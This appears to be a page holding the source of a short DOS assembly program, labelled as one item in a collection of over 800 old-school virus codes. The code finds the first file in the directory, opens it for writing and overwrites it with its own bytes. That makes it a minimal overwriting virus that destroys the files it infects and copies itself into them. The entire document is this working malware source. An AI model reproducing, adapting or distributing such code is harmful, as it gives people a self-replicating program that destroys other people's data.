30.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 22 行

code            segment
                assume  cs:code,ds:code,es:code,ss:code
                org     100h
main            proc    near
                mov     dx,offset(nev)         ; offset to '*.*'
                mov     ah,4Eh
                int     21h                    ; find first
                mov     dx,009Eh
                mov     ax,3D01h               ; writing
                int     21h                    ; open a file
                mov     bx,ax
                mov     ah,40h
                mov     cl,offset(nev)-100h+4  ; byte-szam
                mov     dx,100h
                int     21h                    ; write to file
nev: DB         '*.*'
DB              0h
main            endp
code            ends
                end     main

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